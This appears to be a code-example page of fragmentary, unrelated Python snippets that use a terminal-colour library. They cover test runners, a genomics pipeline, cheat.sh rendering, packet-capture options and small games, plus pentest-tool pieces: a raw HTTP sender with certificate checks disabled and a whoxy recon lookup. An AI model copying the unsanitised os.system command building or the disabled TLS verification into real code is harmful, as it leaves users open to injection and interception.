        #               otherwise the py server will be left running after the tests have finished
        server_p = subprocess.Popen(c_lst,
                                    stdout=subprocess.PIPE,
                                    preexec_fn=os.setsid,
                                    shell=True)

    #-------------
    cwd_str = os.getcwd()
    os.chdir(go_package_dir_path_str)  #change into the target main package dir

    #-------------
    # CMD
    # ADD!! - per app timeout values, so that in gf_meta.py
    #         a test timeout can be specified per app/package.
    cmd_lst = [
        "go test",
        "-timeout 30s",

        # # "-args" - margs subsequent arguments as ones to pass to the tests themselves
        # "-args",
        # "-mongodb_host=%s"%(p_test_mongodb_host_str)
    ]

    # specific test was selected for running, not all tests
    if not p_test_name_str == "all":
        cmd_lst.append("-v")  # verbose
        cmd_lst.append(p_test_name_str)

    c = " ".join(cmd_lst)
    print(c)

    #-------------
    # ENV
    e = os.environ.copy()

    # RUST - add compiled libraries (*.so) build directory path, so that they can
    #        be loaded at test run time
    print("dynamic libs (LD_LIBRARY_PATH env var) - %s" %
          (p_dynamic_libs_dir_path_str))
    e["LD_LIBRARY_PATH"] = p_dynamic_libs_dir_path_str

    # AWS_CREDS
    e.update(p_aws_s3_creds_map)

    #-------------
    # RUN
    p = subprocess.Popen(c.split(" "), stderr=subprocess.PIPE, env=e)

    # IMPORTANT!! - stderr is used and read, because thats what contains the log lines from Go programs that has
    #               color codes preserved in log lines.
    for l in iter(p.stderr.readline, ""):
        print(l.rstrip())

    # if not p.stderr == None: print '%sTESTS FAILED%s >>>>>>>\n'%(fg('red'), attr(0))

    p.wait()  # has to be called so that p.returncode is set
    os.chdir(cwd_str)  # return to initial dir

    #-------------

    # kill HTTP test server used to serve assets that need to come over HTTP
    if use_test_server_bool:
        os.killpg(server_p.pid, signal.SIGTERM)

    # in certain scenarios (such as CI) we want this test run to fail
    # completelly in case "go test" returns a non-zero return code (failed test).
    # this way CI pipeline will get stoped and marked as failed.
    if p_exit_on_fail_bool:
        print("test exited with code - %s" % (p.returncode))
        assert not p.returncode == None  # makesure returncode is set by p.wait()

        if not p.returncode == 0:
            exit(p.returncode)
コード例 #43
0
def main():

    now = date.today()

    cli = argparse.ArgumentParser()

    cli.add_argument(
        '-i',
        '--InputFolder',
        help=
        "Folder containing paired fq, fq.gz, fastq, and fastq.gz files. Program will recursively find paired reads",
        required=True)
    cli.add_argument('-r',
                     '--Reference',
                     help="Host Reference fasta or fasta.gz file",
                     required=True)
    cli.add_argument(
        '-o',
        '--OutputFolder',
        help=f"Output Folder. Default is ~/dehost_output/dehost_{now}",
        required=False,
        default=f"~/dehost_output/dehost_{now}")
    cli.add_argument(
        '--LargeReference',
        help=
        "Use this option if your reference file is greater than 4 Gigabases",
        required=False,
        action='store_true')
    cli.add_argument(
        '-t',
        '--threads',
        help="Number of threads. More is faster if your computer supports it",
        type=int,
        required=False,
        default=4)

    args = cli.parse_args()

    for_files = sorted([
        f for f in glob.glob(args.InputFolder + "/**", recursive=True)
        if re.search(r'(.*)_(R|)1(.*)\.((fastq|fq)(|\.gz))$', f)
    ])
    rev_files = sorted([
        f for f in glob.glob(args.InputFolder + "/**", recursive=True)
        if re.search(r'(.*)_(R|)2(.*)\.((fastq|fq)(|\.gz))$', f)
    ])
    OutputFolder = os.path.expanduser(args.OutputFolder)
    os.system(f"mkdir -p {OutputFolder}")
    f = open(f"{OutputFolder}/cmd.log", 'w+')

    if (len(for_files) != len(rev_files)):
        print(
            stylize(f"You have unequal numbers of forward and reverse files!",
                    fg("red") + attr("bold")))
        raise Exception(
            stylize(
                f"You have {len(for_files)} forward files and {len(rev_files)} reverse files!",
                fg("red") + attr("bold")))

    for i in range(0, len(for_files)):

        #print(for_files[i])
        #print(rev_files[i])

        base = os.path.splitext(os.path.basename(for_files[i]))[0]
        base = os.path.splitext(base)[0]
        #print(base)
        os.system(f"mkdir -p {OutputFolder}")
        if args.LargeReference:
            minimap2_cmd = f"minimap2 -ax sr {args.Reference} {for_files[i]} {rev_files[i]} -t {args.threads} --split-prefix index_name > {OutputFolder}/{base}.sam"
        else:
            minimap2_cmd = f"minimap2 -ax sr {args.Reference} {for_files[i]} {rev_files[i]} -t {args.threads} > {OutputFolder}/{base}.sam"

        f.write(minimap2_cmd + '\n')
        os.system(minimap2_cmd)
        samtools_cmd1 = f"samtools view -u -f 4 {OutputFolder}/{base}.sam > {OutputFolder}/{base}_filtered.sam"
        f.write(samtools_cmd1 + '\n')
        os.system(samtools_cmd1)
        samtools_cmd2 = f"samtools bam2fq {OutputFolder}/{base}_filtered.sam > {OutputFolder}/{base}_filtered.fastq"
        f.write(samtools_cmd2 + '\n')
        os.system(samtools_cmd2)

        split1_cmd = f"cat {OutputFolder}/{base}_filtered.fastq | grep '^@.*/1$' -A 3 --no-group-separator >{OutputFolder}/{base}_filtered_r1.fastq"
        split2_cmd = f"cat {OutputFolder}/{base}_filtered.fastq | grep '^@.*/2$' -A 3 --no-group-separator >{OutputFolder}/{base}_filtered_r2.fastq"

        os.system(split1_cmd)
        f.write(split1_cmd + '\n')
        os.system(split2_cmd)
        f.write(split2_cmd + '\n')

        delete_cmd1 = f"rm {OutputFolder}/{base}.sam"
        os.system(delete_cmd1)
        f.write(delete_cmd1 + '\n')
        delete_cmd2 = f"rm {OutputFolder}/{base}_filtered.sam"
        f.write(delete_cmd2 + '\n')
        os.system(delete_cmd2)
        delete_cmd3 = f"rm {OutputFolder}/{base}_filtered.fastq"
        os.system(delete_cmd3)
        f.write(delete_cmd3 + '\n')

        print("progress: {}/{}".format(i + 1, len(for_files)))

    f.close()
コード例 #44
0
    def send(self):
        t_urlparse = urlparse(self.url)

        if t_urlparse.port:
            port = t_urlparse.port
        elif t_urlparse.scheme == 'https':
            port = 443
        else:
            port = 80

        # not supposed to happen but thanks to AlessandroZ
        # https://github.com/gwen001/pentest-tools/pull/3
        if ':' in t_urlparse.netloc:
            tmp = t_urlparse.netloc.split(':')
            netloc = tmp[0]
            port = tmp[1]
        else:
            netloc = t_urlparse.netloc

        # print( t_urlparse )
        # print( self.url )
        # print( port )
        # print( '>>>'+self.message+'<<<' )

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        if t_urlparse.scheme == 'https':
            context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            context.verify_mode = ssl.CERT_NONE
            sock = context.wrap_socket(sock, server_hostname=netloc)

        sock.settimeout(_timeout)

        try:
            sock.connect((netloc, port))
        except Exception as e:
            sys.stdout.write("%s[-] error occurred: %s (%s)%s\n" %
                             (fg('red'), e, self.url, attr(0)))
            return False

        sock.sendall(str.encode(self.message))
        start = time.time()

        try:
            datas = self.receive_all(sock)
        except Exception as e:
            sys.stdout.write("%s[-] error occurred: %s (%s)%s\n" %
                             (fg('red'), e, self.url, attr(0)))
            return False

        end = time.time()
        try:
            sock.shutdown(socket.SHUT_RDWR)
        except:
            sock.close()

        self.response = datas
        self.time = (end - start) * 1000

        if len(datas):
            self.extractDatas()
コード例 #45
0
ファイル: cheat_wrapper.py プロジェクト: yibit/cheat.sh
def _visualize(query, keyword, answers, request_options, html=None):  # pylint: disable=too-many-locals

    search_mode = bool(keyword)

    highlight = not bool(request_options
                         and request_options.get('no-terminal'))
    color_style = request_options.get('style', '')
    if color_style not in COLOR_STYLES:
        color_style = ''

    found = True  # if the page was found in the database
    editable = False  # can generated page be edited on github (only cheat.sheets pages can)
    result = ""
    for topic, answer in answers:  # pylint: disable=too-many-nested-blocks

        if topic == 'LIMITED':
            result += colored.bg('dark_goldenrod') \
                    + colored.fg('yellow_1') \
                    + ' ' +  answer + ' ' \
                    + colored.attr('reset') + "\n"
            break

        topic_type = get_topic_type(topic)
        highlight = (highlight and topic not in [":list", ":bash_completion"]
                     and topic_type not in ["unknown"])
        found = found and not topic_type == 'unknown'
        editable = editable or topic_type == "cheat.sheets"

        if topic_type == "internal" and highlight:
            answer = _colorize_internal(topic, answer, html)
        else:
            answer = _colorize_ansi_answer(
                topic,
                answer,
                color_style,
                highlight_all=highlight,
                highlight_code=(topic_type == 'question'
                                and not request_options.get('add_comments')
                                and not request_options.get('remove_text')),
                unindent_code=request_options.get('unindent_code'))

        if search_mode:
            if not highlight:
                result += "\n[%s]\n" % topic
            else:
                result += "\n%s%s %s %s%s\n" % (
                    colored.bg('dark_gray'),
                    colored.attr("res_underlined"), topic,
                    colored.attr("res_underlined"), colored.attr('reset'))
        result += answer

    result = result.strip('\n') + "\n"

    if search_mode:
        editable = False
        repository_button = ''
    else:
        repository_button = _github_button(topic_type)

    if html:
        result = _render_html(query, result, editable, repository_button,
                              request_options)

    return result, found
コード例 #46
0
                    help="Motif hits from MOODS",
                    default=[],
                    required=True)
parser.add_argument("-bl",
                    "--blacklist",
                    dest='blacklist',
                    help="Blacklist regions",
                    required=True)

# set the arguments from the command line to variables in the args object
args = parser.parse_args()

##########################-----------Parameters------------##############################
"""Set up the colors to be used on the display and also what the checpoint borders would look ilke
Also set up the directories. This needs to be changed in the future to makte it easy to set input and output paths"""
tacman_color = colored.fg(226) + colored.attr(1)

# set up some reference directory file locatios
CWD = os.getcwd()
OFD = CWD + "/output"

# If the path does not exists for the output directory, create it
if not os.path.exists(OFD):
    os.makedirs(OFD)

# Print the names of the directories for the user
print(stylize("TACMAN: The common working directory is: " + CWD, tacman_color))
print(stylize("TACMAN: The output directory is: " + OFD, tacman_color))

# Set up the various lists that will be used. The first list is the percentile cutoff that wille be used
percentiles = [1, 2, 4, 10, 20, 100]
コード例 #47
0
Description:
    copy the champion to Champion directory
Input:
    champion: the name of the champion
"""


def promoteChampion(champion):
    os.system("rm -f ./progression/champions/*")
    os.system("cp ./progression/population/%s.json ./progression/champions/"\
               %champion)


"""
MAIN
"""
if __name__ == "__main__":
    try:
        iteration = int(sys.argv[1])
    except:
        iteration = 1
    for i in range(iteration):
        print(
            "\n\n%s%s======================== GENERATION" %
            (fg("green"), attr("bold")), i + 1,
            "=======================%s" % (attr("reset")))
        champion = fitnessTest()
        print("====================[CHAMPION]=====================")
        print(champion)
        promoteChampion(champion)
コード例 #48
0
ファイル: parse_args.py プロジェクト: binexisHATT/3agL3
def parse_args():
	""" Program arguments """
	parser = ArgumentParser(
		description="There are three modes of operation \u2192 live : read : write",
		usage=f"\n\t{argv[0]} -live <options> | -read <options> | -write <options>",
		add_help=False
	)
	
	# ---------------- Arguments Groups ------------------
	help_options = parser.add_argument_group("%sFor Help%s" % (fg(226), attr(0)))
	live_capture = parser.add_argument_group("%sLive Capture%s" % (fg(196), attr(0)))
	read_pcap = parser.add_argument_group("%sRead Mode Options%s" % (fg(76), attr(0)))
	write_pcap = parser.add_argument_group("%sWrite Mode Options%s" % (fg(39), attr(0)))
	write_read_pcap = parser.add_argument_group("%sOptional Arguments for Read/Write Modes%s" % (fg(199), attr(0)))
	
	help_options.add_argument("-h", "--help",action="help",help="Show this help message and exit")

	# -------------- Live Capture Options ---------------
	live_capture.add_argument("-live", "--live-mode",action="store_true",default=False,help="Perfrom live capture analysis")
	live_capture.add_argument("-i", "--interf",nargs="+",help="The interface to listen on (more than one can be specified)")
	live_capture.add_argument("-c", "--count",metavar="<NUM>",type=int, default=0,help="The number of packets to capture (default = 0 = infinity)")
	live_capture.add_argument("-f", "--filter",metavar="<BPF FITLER>",type=str, default=None,help="Berkeley packet filter to apply to capture")
	live_capture.add_argument("-p", "--promis-off",action="store_false",help="Turn off promiscuous mode")

	# -------------- Reading PCAP options ---------------
	read_pcap.add_argument("-read", "--read-mode",action="store_true", default=False,help="Read a PCAP file for analysis")
	read_pcap.add_argument("-r", "--rfile",metavar="<FILENAME>",type=str, default=False,help="name of PCAP file to read for parsing")
	read_pcap.add_argument("-rc", "--read-count", metavar="<NUM>",type=int,default=None,help="number of packets to read from pcap file")
	read_pcap.add_argument("-hex", "--hex-dump", action="store_true",help="Print out the hex dump of each packet along with packet flow summary")
	read_pcap.add_argument("-pc", "--packet-count",action="store_true",default=False,help="Prints the number of the packets within a PCAP file")
	read_pcap.add_argument("-no-prn", "--no-print",action="store_true",help="Do not print out traffic flow output to console")
	read_pcap.add_argument("-src-ip-cnt", "--source-ip-count",metavar="<IP>",nargs="+",type=str,help="Prints the number of times an IP address was the source IP. Multiple IP addresses can be specified")
	read_pcap.add_argument("-dst-ip-cnt", "--destination-ip-count",metavar="<IP>",nargs="+",type=str,help="Prints the number of times an IP addresses was the destination IP. Multiple IP addresses can be specified")
	read_pcap.add_argument("-ip-cnt", "--ip-count",metavar="<IP>",nargs="+",type=str,help="Prints the number of times an IP address was the source or destination IP. Multiple IP addresses can be specified")
	read_pcap.add_argument("-b", "--before",metavar="<HOUR:MINUTE>",help="Filter for packets that occured before and at the specified time value")
	read_pcap.add_argument("-a", "--after",metavar="<HOUR:MINUTE>",help="Filter for packets that occured after and at the specified time value")
	read_pcap.add_argument("-tr", "--time-range",nargs="+",metavar="<HOUR:MINUTE>",help="Filter for packets whose hour:minute value falls in between the desired time range")
	read_pcap.add_argument("-sd", "--start-date",metavar="<YEAR/MONTH/DAY",help="Filter for packet with a date up to and including the date specified")
	read_pcap.add_argument("-ed", "--end-date",metavar="<YEAR/MONTH/DAY",help="Filter for packets with a date that includes the date specified and onwards")
	read_pcap.add_argument("-dr","--date-range",nargs="+",metavar="<YEAR/MONTH/DAY",help="Filter for packets with a date that falls in between the two chronological dates specified")

	# -------------- Writing PCAP options ---------------
	write_pcap.add_argument("-write", "--write-mode",action="store_true", default=None,help="capture live traffic and write to PCAP file (must specify `-c` option)")
	write_pcap.add_argument("-w", "--wfile",metavar="<FILENAME>",type=str, default=None,help="name of PCAP file to create")

	# -------------- Read && Write Options ----------------
	write_read_pcap.add_argument("-src-ip", "--source-ip",metavar="<IP>",type=str,help="Filter packets based on a specified source IP address")
	write_read_pcap.add_argument("-not-src-ip", "--not-source-ip",metavar="<IP>",type=str,help="Filter packets that do not contain the specified source IP address")
	write_read_pcap.add_argument("-dst-ip", "--destination-ip",metavar="<IP>",type=str,help="Filter packets based on a specified destination IP address")
	write_read_pcap.add_argument("-not-dst-ip", "--not-destination-ip",metavar="<IP>",type=str,help="Filter packets that do not contain the specified destination IP address")
	write_read_pcap.add_argument("-src-port", "--source-port",metavar="<PORT>",type=str,help="Filter packets based on a specified source port number")
	write_read_pcap.add_argument("-not-src-port", "--not-source-port",metavar="<PORT>",type=str,help="Filter packets that do not contain the specified source port number")
	write_read_pcap.add_argument("-dst-port", "--destination-port",metavar="<PORT>",type=str,help="Filter packets based on a specified destination port number")
	write_read_pcap.add_argument("-not-dst-port", "--not-destination-port",metavar="<PORT>",type=str,help="Filter packets based on a specified destination port number")
	write_read_pcap.add_argument("-src-mac", "--source-mac",metavar="<MAC>",type=str,help="Filter packets based on a specified source mac address")
	write_read_pcap.add_argument("-not-src-mac", "--not-source-mac",metavar="<MAC>",type=str,help="Filter packets that do not contain the specified source mac address")
	write_read_pcap.add_argument("-dst-mac", "--destination-mac",metavar="<MAC>",type=str,help="Filter packets based on a specified destination mac address")
	write_read_pcap.add_argument("-not-dst-mac", "--not-destination-mac",metavar="<MAC>",type=str,help="Filter packets that do not contain the specified destination mac address")
	write_read_pcap.add_argument("-tcp", "--filter-tcp",action="store_true",default=False,help="Filter TCP packets only")
	write_read_pcap.add_argument("-not-tcp", "--not-filter-tcp",action="store_true",default=False,help="Filter for non-TCP packets only")
	write_read_pcap.add_argument("-udp", "--filter-udp",action="store_true", default=False,help="Filter UDP packets only")
	write_read_pcap.add_argument("-not-udp", "--not-filter-udp",action="store_true", default=False,help="Filter for non-UDP packets only")
	write_read_pcap.add_argument("-icmp", "--filter-icmp",action="store_true",default=False,help="Filter ICMP packets only")
	write_read_pcap.add_argument("-not-icmp", "--not-filter-icmp",action="store_true",default=False,help="Filter for non-ICMP packets only")
	write_read_pcap.add_argument("-arp", "--filter-arp",action="store_true",default=False,help="Filter for ARP packets only")
	write_read_pcap.add_argument("-not-arp", "--not-filter-arp",action="store_true",default=False,help="Filter for non-ARP packets only")
	write_read_pcap.add_argument("-dns", "--filter-dns",action="store_true",default=False,help="Filter for DNS packets only")
	write_read_pcap.add_argument("-not-dns", "--not-filter-dns",action="store_true",default=False,help="Filter for non-DNS packets only")
	write_read_pcap.add_argument("-tf", "--tcp-flags",metavar="<TCP FLAG>",nargs="+",help="Filter packets by TCP flag. Seperate each flag by spaces.")
	write_read_pcap.add_argument("-le", "--len-less-equal",metavar="<NUM>",type=int,help="Filters for packets with a length that is less than or equal to the specified number")
	write_read_pcap.add_argument("-ge", "--len-greater-equal",metavar="<NUM>",type=int,help="Filters for packets with a length that is greater than or equal to the specified number")
	write_read_pcap.add_argument("-len-eq", "--len-equal",metavar="<NUM>",type=int,help="Filters for packets with a length that is equal to the specified number")
	write_read_pcap.add_argument("-ttl-eq", "--ttl-equal",metavar="<NUM>",type=int,help="Filters for packets with a ttl that is equal to the specified number")
	write_read_pcap.add_argument("-sum", "--summary",action="store_true",help="Summary of the packet capture <for read & write mode>")
	write_read_pcap.add_argument("-j", "--json",metavar="<FILENAME>",type=str,help="Create JSON file containing capture summary (ip:count, port:count, mac:count)")
	
	if len(argv[1:]) == 0:
		parser.print_help()
		exit(1)
	return parser.parse_args()
コード例 #49
0
from collections import Counter
from tabulate import tabulate
from colour import Color
from colored import bg, attr
from operator import itemgetter

# Read all the ARGB values from a text file
with open('colors.txt') as file:
    palette = file.read().splitlines()

# Count the frequency of the most common colours in the file
counter = Counter(palette).most_common()

# Create a table of data appending hex, hue and luminance values
table = []
for argb, count in counter:
    # Create color object from the RGB values in ARGB
    color = Color('#' + argb[3:10])
    table.append((count, bg(color.hex_l) + "        " + attr('reset'), argb,
                  color.hex_l, color.hue, color.luminance))

# Sort the table by hue, then luminance
by_hue = sorted(table, key=itemgetter(4, 5))

# Render it all nicely to the console
print(
    tabulate(by_hue,
             headers=["Count", "Sample", "ARGB", "RGB", "Hue", "Luminance"],
             tablefmt="github"))
コード例 #50
0
ファイル: cheat_wrapper.py プロジェクト: ox-b/cheat.sh
def cheat_wrapper(query, request_options=None, html=False):

    #
    # at the moment, we just remove trailing slashes
    # so queries python/ and python are equal
    #
    query = query.rstrip('/')

    query = rewrite_aliases(query)

    highlight = not bool(request_options
                         and request_options.get('no-terminal'))
    color_style = request_options.get('style', '')
    if color_style not in COLOR_STYLES:
        color_style = ''

    keyword = None
    if '~' in query:
        topic = query
        pos = topic.index('~')
        keyword = topic[pos + 1:]
        topic = topic[:pos]

        options = ""
        if '/' in keyword:
            options = keyword[::-1]
            options = options[:options.index('/')]
            keyword = keyword[:-len(options) - 1]

        answers = find_answer_by_keyword(topic, keyword, options=options)
        search_mode = True
    else:
        answers = [(query, get_answer(query, keyword))]
        search_mode = False

    found = True  # if the page was found in the database
    editable = False  # can generated page be edited on github (only cheat.sheets pages can)
    result = ""
    for topic, answer in answers:

        if topic == 'LIMITED':
            result += colored.bg('dark_goldenrod') + colored.fg(
                'yellow_1') + ' ' + answer + ' ' + colored.attr('reset') + "\n"
            break

        if topic in [":list", ":bash_completion"]:
            highlight = False

        topic_type = get_topic_type(topic)
        if topic_type == 'unknown':
            found = False

        if highlight:
            #if topic_type.endswith(" dir"):
            #    pass

            if topic_type == "internal":
                answer = colorize_internal(topic, answer, html)
            else:
                color_style = color_style or "native"
                lexer = pygments.lexers.BashLexer
                for lexer_name, lexer_value in LEXER.items():
                    if topic.startswith("%s/" % lexer_name):
                        color_style = color_style or "monokai"
                        if lexer_name == 'php':
                            answer = "<?\n%s?>\n" % answer
                        lexer = lexer_value
                        break

                formatter = Terminal256Formatter(style=color_style)
                answer = pygments_highlight(answer, lexer(), formatter)

        if topic_type == "cheat.sheets":
            editable = True

        if search_mode:
            if highlight:
                result += "\n%s%s %s %s%s\n" % (
                    colored.bg('dark_gray'),
                    colored.attr("res_underlined"), topic,
                    colored.attr("res_underlined"), colored.attr('reset'))
            else:
                result += "\n[%s]\n" % topic

        result += answer

    if search_mode:
        result = result[1:]
        editable = False
        repository_button = ''
    else:
        repository_button = github_button(topic_type)

    if html:
        result = result + "\n$"
        result = html_wrapper(result)
        title = "<title>cheat.sh/%s</title>" % topic
        # title += '\n<link rel="stylesheet" href="/files/awesomplete.css" />script src="/files/awesomplete.min.js" async></script>'
        # submit button: thanks to http://stackoverflow.com/questions/477691/
        submit_button = '<input type="submit" style="position: absolute; left: -9999px; width: 1px; height: 1px;" tabindex="-1" />'
        topic_list = ('<datalist id="topics">%s</datalist>' %
                      ("\n".join("<option value='%s'></option>" % x
                                 for x in get_topics_list())))

        curl_line = "<span class='pre'>$ curl cheat.sh/</span>"
        if query == ':firstpage':
            query = ""
        form_html = '<form action="/" method="GET"/>%s%s<input type="text" value="%s" name="topic" list="topics" autofocus autocomplete="off"/>%s</form>' % (
            submit_button, curl_line, query, topic_list)

        edit_button = ''
        if editable:
            edit_page_link = 'https://github.com/chubin/cheat.sheets/edit/master/sheets/' + topic
            edit_button = '<pre style="position:absolute;padding-left:40em;overflow:visible;height:0;">[<a href="%s" style="color:cyan">edit</a>]</pre>' % edit_page_link
        result = re.sub("<pre>", edit_button + form_html + "<pre>", result)
        result = re.sub("<head>", "<head>" + title, result)
        if not request_options.get('quiet'):
            result = result.replace(
                '</body>', TWITTER_BUTTON + GITHUB_BUTTON + repository_button +
                GITHUB_BUTTON_FOOTER + '</body>')

    return result, found
コード例 #51
0
            ts += inc
            t += inc
            hp = Trv.calc_hp(curr, ts)
        else:
            Trv.add_timestamp(ts)
            Trv.add_traveltime(tt)
    else:
        path = Trv.get_path()
        start = Trv.get_start()
        time = Trv.get_time()

    if i == trials - 1:
        ###########################################################
        print(
            stylize(hotels[start]['name'],
                    attr(1) + fg('#ff9933') + bg('black')))
        ###########################################################
        print(
            stylize(
                df(zip(map(lambda x: places[x]['name'], path),
                       map(lambda x: round(x, 2), time),
                       map(lambda x: round(x, 2), Trv.get_travel())),
                   index=range(1,
                               len(path) + 1),
                   columns=['Location', 'Time Spent', 'Travel Time']),
                attr(21) + bg('black')))
        ###########################################################
        print(
            stylize(f'{ttt:.2f} hrs of Travel Time',
                    fg('#dd7a09') + attr(21) + bg('black')))
map_path(start, path, time)
コード例 #52
0
ファイル: scheduleJSON.py プロジェクト: Merutochan/TSC
"""
Merutochan
http://merutochan.it

"""
# LIBRARIES
import time
import json
import colored

# COLORS
color = colored.fg(226)
color2 = colored.fg(120)
color3 = colored.fg(87)
color4 = colored.fg(82)
reset = colored.attr('reset')


# FUNCTIONS
# Parse day events
def dayschedule(n):
    for day in d['events']['week']:
        # Check if week day matches
        if (day['n'] == n):
            # If it is a work day
            print(color + day['Name'] + time.strftime(", %d %b %Y - ") +
                  time.strftime("%H:%M") + reset + "\n")
            if (day['Work']):
                for e in day['Schedule']:
                    print('[' + color2 + e['start'] + reset + '~' + color2 +
                          e['end'] + reset + ']')
コード例 #53
0
def rps(
):  #--SCRIPT-- THE ROCK , PAPER AND SCISSORS GAME FROM THE GAME CENTER WHEN THE USER TYPE 'GAME'
    point()
    print('There was a')
    T(0.5)
    rock = (
        fg('yellow') +
        "    _________\n---'     ____)\n        (_____)\n        (_____)         Rock\n        (____)\n---.____(___)\n"
        + attr('reset'))
    print(rock)
    T(0.5)
    print('\n')
    T(0.5)
    paper = (
        fg('yellow') +
        "    ________ \n---'    ____)_____\n         _________)\n          _________)    Paper\n         _________)\n---.____________)\n"
        + attr('reset'))
    print(paper)
    T(0.5)
    print('\n')
    T(0.5)
    scissors = (
        fg('yellow') +
        "    ________ \n---'     ___)_____\n            ______)\n         __________)    Scissors\n        (____)\n---.____(___)\n"
    )
    print(scissors + attr('reset'))
    T(0.5)
    print('\n')
    y = ['rock', 'paper', 'scissors']
    T(1)
    print('Type quit or cancel when you finish')
    while True:
        x = input('- Your choose : ').lower()
        if x.lower() == 'rock':
            T(1)
            print(rock)
        elif x.lower() == 'paper':
            T(1)
            print(paper)
        elif x.lower() == 'scissors':
            T(1)
            print(scissors)
        if x in y:
            yy = y[random.randrange(3)]
            T(2)
            print('- My choose is : ')
            if yy == 'rock':
                T(2)
                print(rock)
            elif yy == 'paper':
                T(2)
                print(paper)
            elif yy == 'scissors':
                T(2)
                print(scissors)
            if x == yy:
                T(1)
                print('WE TIED! ^_^')
            elif x == 'rock' and yy == 'scissors':
                T(1)
                print(fg('green') + 'YOU WIN! D:' + attr('reset'))
            elif x == 'paper' and yy == 'rock':
                T(1)
                print(fg('green') + 'YOU WIN! D:' + attr('reset'))
            elif x == 'scissors' and yy == 'paper':
                T(1)
                print(fg('green') + 'YOU WIN! D:' + attr('reset'))
            else:
                T(1)
                print(fg('red') + 'YOU LOSE! :D' + attr('reset'))
        elif x.lower() == 'quit' or x.lower() == 'cancel':
            point()
            chooseServer('game')
        else:
            print('Error ,Try again')
        T(1)
コード例 #54
0
else:
    _domain = False

if not _domain and not len(t_datas['companies']) and not len(
        t_datas['emails']):
    parser.error('domain or company or email required')

if args.key:
    _key = args.key
else:
    parser.error('api key is required')

if _domain:
    if _verbose:
        sys.stdout.write('%s[+] search for domain: %s%s\n' %
                         (fg('green'), _domain, attr(0)))
    url = 'http://api.whoxy.com/?key=' + _key + '&whois=' + _domain
    if _verbose:
        print(url)
    r = requests.get(url)
    t_json = r.json()
    # print(t_json)
    extractDatas(t_json)
    if _verbose:
        print(t_datas)

for company in t_datas['companies']:
    page = 1
    company = company.replace(' ', '+')
    if _verbose:
        sys.stdout.write('%s[+] search for company: %s%s\n' %
コード例 #55
0
def main():

    colors = (

        "#000000",
        "#800000",
        "#008000",
        "#808000",
        "#000080",
        "#800080",
        "#008080",
        "#c0c0c0",
        "#808080",
        "#ff0000",
        "#00ff00",
        "#ffff00",
        "#0000ff",
        "#ff00ff",
        "#00ffff",
        "#ffffff",
        "#000000",
        "#00005f",
        "#000087",
        "#0000af",
        "#0000d7",
        "#0000ff",
        "#005f00",
        "#005f5f",
        "#005f87",
        "#005faf",
        "#005fd7",
        "#005fff",
        "#008700",
        "#00875f",
        "#008787",
        "#0087af",
        "#0087d7",
        "#0087ff",
        "#00af00",
        "#00af5f",
        "#00af87",
        "#00afaf",
        "#00afd7",
        "#00afff",
        "#00d700",
        "#00d75f",
        "#00d787",
        "#00d7af",
        "#00d7d7",
        "#00d7ff",
        "#00ff00",
        "#00ff5f",
        "#00ff87",
        "#00ffaf",
        "#00ffd7",
        "#00ffff",
        "#5f0000",
        "#5f005f",
        "#5f0087",
        "#5f00af",
        "#5f00d7",
        "#5f00ff",
        "#5f5f00",
        "#5f5f5f",
        "#5f5f87",
        "#5f5faf",
        "#5f5fd7",
        "#5f5fff",
        "#5f8700",
        "#5f875f",
        "#5f8787",
        "#5f87af",
        "#5f87d7",
        "#5f87ff",
        "#5faf00",
        "#5faf5f",
        "#5faf87",
        "#5fafaf",
        "#5fafd7",
        "#5fafff",
        "#5fd700",
        "#5fd75f",
        "#5fd787",
        "#5fd7af",
        "#5fd7d7",
        "#5fd7ff",
        "#5fff00",
        "#5fff5f",
        "#5fff87",
        "#5fffaf",
        "#5fffd7",
        "#5fffff",
        "#870000",
        "#87005f",
        "#870087",
        "#8700af",
        "#8700d7",
        "#8700ff",
        "#875f00",
        "#875f5f",
        "#875f87",
        "#875faf",
        "#875fd7",
        "#875fff",
        "#878700",
        "#87875f",
        "#878787",
        "#8787af",
        "#8787d7",
        "#8787ff",
        "#87af00",
        "#87af5f",
        "#87af87",
        "#87afaf",
        "#87afd7",
        "#87afff",
        "#87d700",
        "#87d75f",
        "#87d787",
        "#87d7af",
        "#87d7d7",
        "#87d7ff",
        "#87ff00",
        "#87ff5f",
        "#87ff87",
        "#87ffaf",
        "#87ffd7",
        "#87ffff",
        "#af0000",
        "#af005f",
        "#af0087",
        "#af00af",
        "#af00d7",
        "#af00ff",
        "#af5f00",
        "#af5f5f",
        "#af5f87",
        "#af5faf",
        "#af5fd7",
        "#af5fff",
        "#af8700",
        "#af875f",
        "#af8787",
        "#af87af",
        "#af87d7",
        "#af87ff",
        "#afaf00",
        "#afaf5f",
        "#afaf87",
        "#afafaf",
        "#afafd7",
        "#afafff",
        "#afd700",
        "#afd75f",
        "#afd787",
        "#afd7af",
        "#afd7d7",
        "#afd7ff",
        "#afff00",
        "#afff5f",
        "#afff87",
        "#afffaf",
        "#afffd7",
        "#afffff",
        "#d70000",
        "#d7005f",
        "#d70087",
        "#d700af",
        "#d700d7",
        "#d700ff",
        "#d75f00",
        "#d75f5f",
        "#d75f87",
        "#d75faf",
        "#d75fd7",
        "#d75fff",
        "#d78700",
        "#d7875f",
        "#d78787",
        "#d787af",
        "#d787d7",
        "#d787ff",
        "#d7af00",
        "#d7af5f",
        "#d7af87",
        "#d7afaf",
        "#d7afd7",
        "#d7afff",
        "#d7d700",
        "#d7d75f",
        "#d7d787",
        "#d7d7af",
        "#d7d7d7",
        "#d7d7ff",
        "#d7ff00",
        "#d7ff5f",
        "#d7ff87",
        "#d7ffaf",
        "#d7ffd7",
        "#d7ffff",
        "#ff0000",
        "#ff005f",
        "#ff0087",
        "#ff00af",
        "#ff00d7",
        "#ff00ff",
        "#ff5f00",
        "#ff5f5f",
        "#ff5f87",
        "#ff5faf",
        "#ff5fd7",
        "#ff5fff",
        "#ff8700",
        "#ff875f",
        "#ff8787",
        "#ff87af",
        "#ff87d7",
        "#ff87ff",
        "#ffaf00",
        "#ffaf5f",
        "#ffaf87",
        "#ffafaf",
        "#ffafd7",
        "#ffafff",
        "#ffd700",
        "#ffd75f",
        "#ffd787",
        "#ffd7af",
        "#ffd7d7",
        "#ffd7ff",
        "#ffff00",
        "#ffff5f",
        "#ffff87",
        "#ffffaf",
        "#ffffd7",
        "#ffffff",
        "#080808",
        "#121212",
        "#1c1c1c",
        "#262626",
        "#303030",
        "#3a3a3a",
        "#444444",
        "#4e4e4e",
        "#585858",
        "#626262",
        "#6c6c6c",
        "#767676",
